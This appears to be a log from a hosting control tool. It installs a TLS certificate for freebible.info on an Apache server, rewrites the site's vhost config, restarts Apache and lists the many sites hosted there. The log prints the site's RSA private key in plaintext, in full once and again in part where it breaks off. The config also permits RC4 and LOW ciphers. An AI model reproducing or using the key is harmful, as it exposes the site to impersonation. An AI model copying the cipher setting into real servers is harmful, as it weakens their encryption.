eQIEAgSB/QSB+gD4AH4AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbnb2OVAAIAAAFAAZePc8EAwBHMEUCIQDdGSQuQYkXTAPwv250DNMSz78Hzl6z
8+0/UHTN/rREAwIgC+VI7YE9fXM6E075rfZNn1diOpKoe0gDw84TllVfyMIAdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZudvY4aAAAEAwBHMEUC
IBK6CYQInX2SLvES8/EsjpsH3uHOE2XXjKF2rb+R/fUzAiEA39qirhuIm6LOAlnl
dQH15iJ4cdZ8hVzVTv9o8i+By2YwDQYJKoZIhvcNAQELBQADggEBACjjFN5+94n9
vdhdEYlqufELAwa6jP/ZvJxTJR9xX/6vnDqPAGJ22yqDDN797Vj5cYD3JoLi7+h2
R1/qZpen5II7HOuozj5cPKyAQ8aOdduPHHqK7TYle0gC15cXV8v3nSeNj3YFqntN
jQMnRqett2qGmKvoaEgd3cu9JCQ+op9/k2LcFwLc3Vv9hE6qj7Y8w2xtsrwZ0fES
TswDDr3wLavtrkUvZSktdOtTWxWnfryT7yBkJhwP6IyyfXaP6uY5L9mtX7xMvgZJ
Cvh13nBjZ7dgi7jMVnYJRFzNFavw+c3bhdkiKHMuRcJ0ysgpbUDI5hVS9Fx35Njr
kUBQfbJo7tc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCjTi8bEH7zmo5B
3UB+Lwg4yvszmqR4FkA+G4VPUNRG65AnrFALmnIy0oewVhUS6Wd6NhKFSE02GNA0
dyrtQYb4g7hfaXz+oEVyhCZx4lfOhUUA7KkFZ5b/rmPHvrRAAcOovjki4Bc4upzw
PQc5iZoEZ5TlB2PFLfUgykE+FGOQnksW13gp3KW9z0dgDOK1PIavxlf6qo1PYRpN
2hZj9H7yF7gw5pVll0oTqISpzAIcvjyIX+XvKVADBs1kLwehUu/NpJnQ2cKLBnnL
Wk8uawh/YuMmT8mhBDKm8Z3/c/qD7VGJuw+wVoO0r5nR9luPeJEcNcs85T8c5DJ2
c54oCMwvAgMBAAECggEABvMb1BYGoQ1RwoHM7dHIksoomJCbMTUZNMttB+wTrJT3
xIhzu5quA3WsKpfvO6fNLIlCjoN+LbAupBzyKbihKtBIN19A34Eok3AGRtBwFizb
u+dWZhF7fpQIUQbPmu24SuUVf2Nz+YkPhrXCKfOuJ0PVNU30M/75sJSK5D5v4kaY
x6VgIsL9hETgKcuZ9Fppnrm5BqYSzWfrScMEVRvbRYyMnleSYr95EwOPrqSkV8B+
1Sn7srx2Z2f3ZAw8hODX35qCvitLcpgsAUnTaw5/r+tINgyKBfsVRPkcm0iuMgxR
0f1A4S2AYH1bMXA5Alwk/dyxG2DXXf3ocyGwugQO8QKBgQDgFIeyVjgUlT8gyKnX
D3SJnRj98qojZkdpPiYEwlZxuU8AApNrMNRxhO4cB86swpUz4sfF+27VHj27mRIj
Giij25i8+EJe2BXnjkXLgbhQGovfJWjlE6mG/xklz4yd7oAls/siXDWNm2S64YTM
Augq0Qev64n33yB9YqsEvpIYNwKBgQC6kWWL/Kk5BFy1iYxfo4tpAR0seEAqcLLS
9flz7Qz9ZZf2yohV9c6E/BUf00AoP19pPYWwFjn2XLhKbRAseuyLmy2zeoEHL4hV
5A9mrhUkTLPBs4vsTngFJRpSJmxR9gh9lzwJvmK5Js9aDCAxx2MGAZggRJpE3rzI
WXBPo/P/yQKBgQCSDU+U8ZWD9PM8jw4EWtJ+j6KmgvBaOmP5OMTW/UQSw9G2E/e6
Og1+IEKCiqQu/nT5aKsFZCiNSDS8fbzQnFA43PzkznuUDgvY7WaYimhz7ZmVTHDe
Pr6UetkNSAZDOhzUdkcN0kQllE9Hb4562rowjiYQh9lZclle4FzPrtbSaQKBgA/i
iU7d+FqOcIZUa8tI1XnfSmia5Hu4lME5iD/CkzSQDdxJakpHX4obHIFVL0U+ABWp
01Qm0FCVnGtZ1eKzpKhOUhnR+GJwPZ9yh40qjUpF7Zg0fVllZPqrKg6MjvR7ikWH
NulteGJjV4xHNAaI/3lncVht/uSWQmScmN9vCjthAoGALw6hjkGFg1DzZbcx046K
WEtvylcZuaxMsMYFSI2+VR7YokN4NLgHOSmxOYytfPBO8UvZLLst1KAe4rP3W816
vUnYs5OmetXRMFwUyzCsptKSepQ2a3Pud7YmAfv2KuGTnI+O9JsEh+o76jLo7wYk
NKgdnjUcQKEXifNlwKYxqkc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-08 13:13:25: 

chmod 755 /tmp/pkp491043; /tmp/pkp491043; rm /tmp/pkp491043

2026-01-08 13:13:25: 


dir=/etc/ssl/certs


2026-01-08 13:13:25: 

PUT: /tmp/pkp487930

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/freebible_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-08 13:13:25: 

chmod 755 /tmp/pkp487930; /tmp/pkp487930; rm /tmp/pkp487930

2026-01-08 13:13:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf 42

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-08 13:13:25: 

PUT: /tmp/pkp506096

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=freebible_www_info.conf
TARGET=/etc/apache2/sites-enabled/freebible_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/freebible_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf= 1'
fi


2026-01-08 13:13:25: 

chmod 755 /tmp/pkp506096; /tmp/pkp506096; rm /tmp/pkp506096

2026-01-08 13:13:25: 




2026-01-08 13:13:25: 

PUT: /tmp/pkp110140

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-08 13:13:25: 

chmod 755 /tmp/pkp110140; /tmp/pkp110140; rm /tmp/pkp110140

2026-01-08 13:13:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-08 13:13:25: Establishing a connection
2026-01-08 13:13:25: 

PUT: /tmp/pkp577744

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-08 13:13:25: 

chmod 755 /tmp/pkp577744; /tmp/pkp577744; rm /tmp/pkp577744

2026-01-08 13:13:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-08 13:13:26: 

PUT: /tmp/pkp279851

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/freebible_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-08 13:13:26: 

chmod 755 /tmp/pkp279851; /tmp/pkp279851; rm /tmp/pkp279851

2026-01-08 13:13:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf	1381

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-08 13:13:26: 

PUT: /tmp/pkp455499

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-08 13:13:26: 

chmod 755 /tmp/pkp455499; /tmp/pkp455499; rm /tmp/pkp455499

2026-01-08 13:13:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt	5385
43:37:5a:8e:f7:d8:08:03:55:d7:d8:a8:1b:ad:cf:fa

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBc6SokQdTtjuqewbXAzc8E2yMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA4MTIxNDU0WhcNMjYwNDA4MTIxNDUzWjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKNOLxsQfvOajkHdQH4vCDjK+zOapHgWQD4bhU9Q1EbrkCesUAuacjLSh7BWFRLp
Z3o2EoVITTYY0DR3Ku1BhviDuF9pfP6gRXKEJnHiV86FRQDsqQVnlv+uY8e+tEAB
w6i+OSLgFzi6nPA9BzmJmgRnlOUHY8Ut9SDKQT4UY5CeSxbXeCncpb3PR2AM4rU8
hq/GV/qqjU9hGk3aFmP0fvIXuDDmlWWXShOohKnMAhy+PIhf5e8pUAMGzWQvB6FS
782kmdDZwosGectaTy5rCH9i4yZPyaEEMqbxnf9z+oPtUYm7D7BWg7SvmdH2W494
kRw1yzzlPxzkMnZznigIzC8CAwEAAaOCAjowggI2MA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU451S89QOkl3w/+rNREzn+u9tqHEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5mcmVlYmlibGUuaW5mb4ISd3d3
LmZyZWViaWJsZS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTEuY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AH4AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbnb2OVAAIAAAFAAZePc8EAwBHMEUCIQDdGSQuQYkXTAPwv250DNMSz78Hzl6z
8+0/UHTN/rREAwIgC+VI7YE9fXM6E075rfZNn1diOpKoe0gDw84TllVfyMIAdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZudvY4aAAAEAwBHMEUC
IBK6CYQInX2SLvES8/EsjpsH3uHOE2XXjKF2rb+R/fUzAiEA39qirhuIm6LOAlnl
dQH15iJ4cdZ8hVzVTv9o8i+By2YwDQYJKoZIhvcNAQELBQADggEBACjjFN5+94n9
vdhdEYlqufELAwa6jP/ZvJxTJR9xX/6vnDqPAGJ22yqDDN797Vj5cYD3JoLi7+h2
R1/qZpen5II7HOuozj5cPKyAQ8aOdduPHHqK7TYle0gC15cXV8v3nSeNj3YFqntN
jQMnRqett2qGmKvoaEgd3cu9JCQ+op9/k2LcFwLc3Vv9hE6qj7Y8w2xtsrwZ0fES
TswDDr3wLavtrkUvZSktdOtTWxWnfryT7yBkJhwP6IyyfXaP6uY5L9mtX7xMvgZJ
Cvh13nBjZ7dgi7jMVnYJRFzNFavw+c3bhdkiKHMuRcJ0ysgpbUDI5hVS9Fx35Njr
kUBQfbJo7tc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCjTi8bEH7zmo5B
3UB+Lwg4yvszmqR4FkA+G4VPUNRG65AnrFALmnIy0oewVhUS6Wd6NhKFSE02GNA0
dyrtQYb4g7hfaXz+oEVyhCZx4lfOhUUA7KkFZ5b/rmPHvrRAAcOovjki4Bc4upzw
PQc5iZoEZ5TlB2PFLfUgykE+FGOQnksW13gp3KW9z0dgDOK1PIavxlf6qo1PYRpN
2hZj9H7yF7gw5pVll0oTqISpzAIcvjyIX+XvKVADBs1kLwehUu/NpJnQ2cKLBnnL
Wk8uawh/YuMmT8mhBDKm8Z3/c/qD7VGJuw+wVoO0r5nR9luPeJEcNcs85T8c5DJ2
